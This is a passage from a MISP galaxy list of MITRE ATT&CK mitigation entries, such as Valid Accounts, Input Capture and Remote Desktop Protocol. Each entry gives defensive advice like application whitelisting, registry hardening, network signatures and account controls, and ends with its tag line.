Take measures to detect or prevent techniques such as [[Technique/T1003|Credential Dumping]] or installation of keyloggers to acquire credentials through [[Technique/T1056|Input Capture]]. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.[[CiteRef::Microsoft Securing Privileged Access]]. Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.[[CiteRef::TechNet Credential Theft]][[CiteRef::TechNet Least Privilege]]

The tag is: *misp-galaxy:mitre-course-of-action="Valid Accounts Mitigation"*

Disabling Security Tools Mitigation

Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.

The tag is: *misp-galaxy:mitre-course-of-action="Disabling Security Tools Mitigation"*

Query Registry Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Query Registry Mitigation"*

System Firmware Mitigation

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology.[[CiteRef::TCG Trusted Platform Module]]

The tag is: *misp-galaxy:mitre-course-of-action="System Firmware Mitigation"*

Multiband Communication Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Multiband Communication Mitigation"*

Remote System Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Remote System Discovery Mitigation"*

File and Directory Discovery Mitigation

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="File and Directory Discovery Mitigation"*

File System Permissions Weakness Mitigation

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able.[[CiteRef::Seclists Kanthak 7zip Installer]]

Turn off UAC's privilege elevation for standard users and installer detection for all users by modifying registry key <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code>; to disable installer detection, add: <code>"EnableInstallerDetection"=dword:00000000</code>.[[CiteRef::Seclists Kanthak 7zip Installer]]

The tag is: *misp-galaxy:mitre-course-of-action="File System Permissions Weakness Mitigation"*

Service Execution Mitigation

Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.

Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Service Execution Mitigation"*

Communication Through Removable Media Mitigation

Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]

The tag is: *misp-galaxy:mitre-course-of-action="Communication Through Removable Media Mitigation"*

Two-Factor Authentication Interception Mitigation

Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.

Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows

Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Two-Factor Authentication Interception Mitigation"*

Plist Modification Mitigation

Prevent plist files from being modified by users by making them read-only.

The tag is: *misp-galaxy:mitre-course-of-action="Plist Modification Mitigation"*

Application Shimming Mitigation

There currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: *misp-galaxy:mitre-course-of-action="Application Shimming Mitigation"*

Standard Non-Application Layer Protocol Mitigation

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Standard Non-Application Layer Protocol Mitigation"*

Data Transfer Size Limits Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Data Transfer Size Limits Mitigation"*

AppInit DLLs Mitigation

Upgrade to Windows 8 or later and enable secure boot.

Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="AppInit DLLs Mitigation"*

InstallUtil Mitigation

InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="InstallUtil Mitigation"*

Shortcut Modification Mitigation

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Shortcut Modification Mitigation"*

Custom Command and Control Protocol Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Custom Command and Control Protocol Mitigation"*

Automated Exfiltration Mitigation

Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands

JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Automated Exfiltration Mitigation"*

Change Default File Association Mitigation

Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft’s best practices for file associations.[[CiteRef::MSDN File Associations]]

Identify and block potentially malicious software that may be executed by this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Change Default File Association Mitigation"*

Peripheral Device Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Peripheral Device Discovery Mitigation"*

Standard Application Layer Protocol Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Standard Application Layer Protocol Mitigation"*

Cron Job Mitigation

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled tasks. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools.

The tag is: *misp-galaxy:mitre-course-of-action="Cron Job Mitigation"*

Input Capture Mitigation

Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

In cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [[Technique/T1078|Valid Accounts]].

The tag is: *misp-galaxy:mitre-course-of-action="Input Capture Mitigation"*

Launchctl Mitigation

Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.

The tag is: *misp-galaxy:mitre-course-of-action="Launchctl Mitigation"*

Security Support Provider Mitigation

Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]

The tag is: *misp-galaxy:mitre-course-of-action="Security Support Provider Mitigation"*

Process Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Process Discovery Mitigation"*

Deobfuscate/Decode Files or Information Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Deobfuscate/Decode Files or Information Mitigation"*

Replication Through Removable Media Mitigation

Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if it is not required for business operations.[[CiteRef::TechNet Removable Media Control]]

Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Replication Through Removable Media Mitigation"*

Scheduled Transfer Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Scheduled Transfer Mitigation"*

Hypervisor Mitigation

Prevent adversary access to privileged accounts necessary to install a hypervisor.

The tag is: *misp-galaxy:mitre-course-of-action="Hypervisor Mitigation"*

Automated Collection Mitigation

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [[Technique/T1056|Input Capture]] and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [[Technique/T1110|Brute Force]] techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Automated Collection Mitigation"*

Exfiltration Over Physical Medium Mitigation

Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Physical Medium Mitigation"*

Data Encoding Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Data Encoding Mitigation"*

DLL Side-Loading Mitigation

Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.

The tag is: *misp-galaxy:mitre-course-of-action="DLL Side-Loading Mitigation"*

Rootkit Mitigation

Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Rootkit Mitigation"*

Network Share Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet

Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Network Share Discovery Mitigation"*

Modify Registry Mitigation

Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Modify Registry Mitigation"*

System Time Discovery Mitigation

Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="System Time Discovery Mitigation"*

System Network Connections Discovery Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="System Network Connections Discovery Mitigation"*

Setuid and Setgid Mitigation

Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.

The tag is: *misp-galaxy:mitre-course-of-action="Setuid and Setgid Mitigation"*

Clear Command History Mitigation

Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these

environment variables readonly can make sure that the history is preserved [[CiteRef Securing bash history]].

The tag is: *misp-galaxy:mitre-course-of-action="Clear Command History Mitigation"*

Screen Capture Mitigation

Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Screen Capture Mitigation"*

Windows Admin Shares Mitigation

Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Windows Admin Shares Mitigation"*

Space after Filename Mitigation

Prevent files from having a trailing space after the extension.

The tag is: *misp-galaxy:mitre-course-of-action="Space after Filename Mitigation"*

Modify Existing Service Mitigation

Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for [[Privilege Escalation]] weaknesses.

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Modify Existing Service Mitigation"*

Third-party Software Mitigation

Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]].

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: *misp-galaxy:mitre-course-of-action="Third-party Software Mitigation"*

Video Capture Mitigation

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to capture video and images by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Video Capture Mitigation"*

Install Root Certificate Mitigation

HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate.[[CiteRef::Wikipedia HPKP]]

The tag is: *misp-galaxy:mitre-course-of-action="Install Root Certificate Mitigation"*

Brute Force Mitigation

Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to

[[Technique/T1078|Valid Accounts]]

The tag is: *misp-galaxy:mitre-course-of-action="Brute Force Mitigation"*

Email Collection Mitigation

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Email Collection Mitigation"*

Exploitation of Vulnerability Mitigation

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit.[[CiteRef::SRD EMET]]

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation of Vulnerability Mitigation"*

Remote File Copy Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Remote File Copy Mitigation"*

Exfiltration Over Alternative Protocol Mitigation

Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.[[CiteRef::TechNet Firewall Design]] These actions will help reduce command and control and exfiltration path opportunities.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Alternative Protocol Mitigation"*

Remote Desktop Protocol Mitigation

Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins.[[CiteRef::Berkley Secure]]

The tag is: *misp-galaxy:mitre-course-of-action="Remote Desktop Protocol Mitigation"*

Web Service Mitigation

Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Web Service Mitigation"*

Network Service Scanning Mitigation

Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Network Service Scanning Mitigation"*

Keychain Mitigation

The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.

The tag is: *misp-galaxy:mitre-course-of-action="Keychain Mitigation"*

Windows Management Instrumentation Event Subscription Mitigation

Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]

The tag is: *misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Event Subscription Mitigation"*

Data from Local System Mitigation

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]

The tag is: *misp-galaxy:mitre-course-of-action="Data from Local System Mitigation"*

Custom Cryptographic Protocol Mitigation

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]

The tag is: *misp-galaxy:mitre-course-of-action="Custom Cryptographic Protocol Mitigation"*

Create Account Mitigation

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]] that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: *misp-galaxy:mitre-course-of-action="Create Account Mitigation"*

Dylib Hijacking Mitigation

Prevent users from being able to write files to the search paths for applications - both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.

The tag is: *misp-galaxy:mitre-course-of-action="Dylib Hijacking Mitigation"*

Credentials in Files Mitigation

Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences.[[CiteRef::Microsoft MS14-025]]

The tag is: *misp-galaxy:mitre-course-of-action="Credentials in Files Mitigation"*

Re-opened Applications Mitigation

Holding the Shift key while logging in prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]]. This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.

The tag is: *misp-galaxy:mitre-course-of-action="Re-opened Applications Mitigation"*

Permission Groups Discovery Mitigation

